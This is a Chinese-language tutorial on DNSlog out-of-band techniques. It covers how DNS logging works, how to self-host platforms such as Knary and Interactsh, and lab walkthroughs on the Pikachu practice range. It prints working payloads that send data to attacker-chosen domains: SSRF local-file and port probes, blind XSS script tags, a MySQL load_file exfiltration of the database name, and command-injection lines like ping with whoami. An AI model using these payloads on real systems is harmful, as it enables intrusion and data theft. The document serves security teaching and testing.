DNSlog工具原理搭建及使用
DNSlog工具原理搭建及使用
DNSlog是什么
DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
DNSlog回显原理
域名分级与域名解析过程(DNS)
因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:
tieba.baidu.com
它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写。
比如说,我注册了一个为luomiweixiong.com的域名,我将 它的a记录泛解析到139.x.x.x上,这样就实现了无论我记录值填什么他都有解析,并且都指向139.x.x.x,当我向dns服务器发起test.luomiweixiong.com的解析请求时,DNSlog中会记录下他给test.luomiweixiong.com解析,解析值为139.x.x.x.
免费的平台
http://www.dnslog.cn |
http://www.dnslog.cn使用方法
(1)Get SubDomain的意思是获取子域名,这里点击完就给我们一个三级域名。复制完后,打开新网页并粘贴在url上,访问
(2)在本机实验演示
ping命令的时候会用到DNS解析
ping命令的时候会用到DNS解析
解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。
原理上只要能进行DNS请求的函数都可能存在DNSlog注入。
dns缓存可能造成记录不刷新,此时更换新的域名即可。
其它平台同理。
DNSlog使用的地方
目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显
(1)SQL注入中的盲注
(2)XSS盲打
(3)无回显的命令执行
(4)无回显的SSRF
(5)无回显的XXE(Blind XXE)
搭建自己的dnslog平台
前提:一台公网ip的VPS和一个域名
- 域名利用freenom网站或eu.org或pp.ua注册即可
- 利用Cloudflare进行解析
因为Freenom本地的解析在国内不够好用,咱们就换个。
注册cloudflare账号
配置你的域名
配置NameServer,指向CloudFlare。
xxx.ns.cloudflare.com
xxx.ns.cloudflare.com
配置NS记录
分别申请两个DNS记录,NS记录代表子域名log.where.cf的DNS服务器为ns.where,cf
测试是否生效
网上python2的dns脚本
#/usr/bin/python2 |
python2和pip在ubuntu中安装
add-apt-repository universe |
注:国内域名可能有需要备案问题
- 如果是云服务器,到防火墙中开放自己的53端口
临时解决:
53端口被占用,lsof -i:53
查看pid,kill -9 pid
,ubuntu关闭systemctl stop systemd-resolved
长期生效:vim /etc/systemd/resolved.conf
,如下图配置,关闭监听。
接着重启服务, systemctl restart systemd-resolved
vim /etc/resolv.conf
- 部署DNS服务
将dnslog的liunx版本从github下载到vps中
https://github.com/yumusb/DNSLog-Platform-Golang
https://github.com/lanyi1998/DNSlog-GO/releases/
https://github.com/chennqqi/godnslog
ubuntu 完全干净的卸载docker
|
DNSLog-Platform-Golang
下载
git clone https://github.com/yumusb/DNSLog-Platform-Golang
编辑配置文件
cd DNSLog-Platform-Golang
vi config.tomal
[front] |
- 前端模板文件
- 后端监听的主机、端口、域名、与CNAME响应
- HTTP BASIC AUTH的是否打开(check=true)与密码配置
- go环境配置GOPROXY=https://goproxy.cn,direct #可选,国内机器不能上github则需要执行此处以设置{代}{理}
go env -w GO111MODULE=on
go env -wgo run main.go或者nohup go run main.go &
Knary
二进制文件部署:
wget https://ghproxy.com/https://github.com/sudosammy/knary/releases/download/v3.3.1/knary-3.3.1-linux-amd64 |
如果二进制不安全,可以考虑Docker 快速搭建:
export GIT_SSL_NO_VERIFY=0 |
环境变量信息有两种配置方式,一种是利用当目前的.env文件,一种是直接配置环境变量environment,也可以混合来用,我这里先配置下CANARY_DOMAIN=CANARY_DOMAIN=log.xxxx.xxx
version: "3.9" |
编辑一份环境变量:
vim .env |
有两种方法,快速配置HTTPS证书:
1)自签名证书
当前目录创建一个cert文件夹
mkdir certs
openssl创建证书
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./certs/selfsigned.key -out ./certs/knary.crt
信息可以随意填
2)Let’s Encrypt 免费https,Kanry自带,只需要配置好邮箱即可,推荐使用这种!
docker-compose启动
# 卸载原先docker |
Ubuntu构建过程可能会报错,修改/etc/resolv.conf的值为这个即可
nameserver 8.8.8.8 |
为了兼容国内VPS还需要修改Dockerfile添加Golang代理,要不然go get会失败:
RUN export GOPROXY=https://goproxy.io && go get .
Hyuga
git下载
git clone https://github.com/Buzz2d0/Hyuga.git |
修改config.xml文件
main中填写自己的域名(比如是log.xxx.xx)
修改对应的ns为自己的ns域名(比如ns.xxx.xx)
Docker快速组建:
docker-compose build |
成功后如官网demo所示
Interactsh
- 手工搭建
安装Golang 1.16.1环境:
apt-get update |
安装Interachsh Server
go get -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest
- docker搭建
docker run projectdiscovery/interactsh-server:latest -domain log.log4j.ga
SSRF盲打
靶场实例练习
Pikachu 靶场一个 SSRF 漏洞 实例:
点击链接发现发现它通过一个 url 参数传递了一个 URL 给后台并读取文件(可能靶场环境问题此处没成功读取到诗歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):
修改 url 参数为如下,可借助 SSRF 漏洞进行内网端口探测:
url=http://127.0.0.1:3306
修改 url 参数为如下,可借助 SSRF 漏洞读取本地文件:
url=file:///C:/Windows/system32/drivers/etc/hosts
- 在 DNSlog 平台申请一个子域名,然后访问 ?url=http://8b7b7d7c.log.xxx.cf,如下:
XSS的盲打
在实战中能真正能构成致命性损伤的 XSS 类型就是储存型 XSS,一般是从前台打到后台,一般反射型 XSS 我们常见做法一般是给自己弹个 alert 就可以知道这个语句有没有执行,有没有被屏蔽。但是前台打到后台的储存型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。
,比如说这有个留言框,我们输入个 Payload 如下:好的管理员!<script src=http://testxss.a.com></script>
因为 script 标签的 src 是在加载后就自动去请求的,并且 http 协议仍然会用到 dns 协议,当管理员从留言板看到这条消息的时候浏览器就会自动去请求 http://testxss.a.com,这样子的话,就会在 DNSlog 里留下如下记录:testxss.a.com 10.0.0.0
当我们在 dnslog 里看到了这条记录的时候,就说明盲打 XSS 存在了。
靶场 XSS 盲打实例
以 Pikachu 靶场的一个 XSS 漏洞环境为例:
插入
<script>alert(1)</script>
即可触发弹窗:接下来插入
<script src="http://8b7b7d7c.log.xxx.cf"></script>
:可以在 DNSlog 平台看到对应的请求记录:
此处的 Payload 使用<img src="http://8b7b7d7c.log.xxx.cf">
也可以
XXE的盲打
对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。
XXE 盲打靶场实例
- 以 Pikachu 靶场的 XXE 漏洞环境为例:
- 先构建常规测试 Payload:
<name>&hacker;</name> - 借助 XXE 漏洞构造读取本地文件的 Payload:
<foo>&xxe;</foo>
- 假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:
]>
SQL的盲注
不论是布尔型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代 WAF 的防护下,很可能导致 IP 被 ban。我们可以结合 DNSlog 完美快速的将数据取出。如遇到 MySql 的盲注时,可以利用内置函数 load_file() 来完成 DNSlog,load_file()不仅能够加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。
SQL盲注靶场实例
下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:
输入kobe’ and 1=1#可成功查询:
输入kobe’ and 1=2#查询失败:
输入利用 DNSlog 回显数据库名称的 Payload:
?id=1' and load_file(concat('\\\\',(select database()),'.stzi44.dnslog.cn\\abc'))--+
注:dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入
RCE的盲打
操作系统 | 盲注方式 |
---|---|
windows | %variable% |
linux | 反引号 variable 反引号 |
windows Payload:
%OS%.8b7b7d7c.log.xxx.cf
windows常用变量
//变量 类型 描述 |
如果是 Linux 环境,则 Payload 对应的应该为:
ping `whoami`.8b7b7d7c.log.xxx.cf |
参考:
https://bbs.ichunqiu.com/thread-61037-1-1.html
https://www.jianshu.com/p/0c1c23d80098
https://cloud.tencent.com/developer/news/221937
https://github.com/ADOOO/DnslogSqlinj
https://idc.wanyunshuju.com/aqst/1889.html
https://www.cnblogs.com/Chorder/p/9087386.html
https://www.jianshu.com/p/721b49c95d98
https://forum.butian.net/share/1055
https://blog.csdn.net/qq_43416157/article/details/116788106
https://cloud.tencent.com/developer/article/1710514
https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1
https://blog.csdn.net/weixin_39190897/article/details/117197126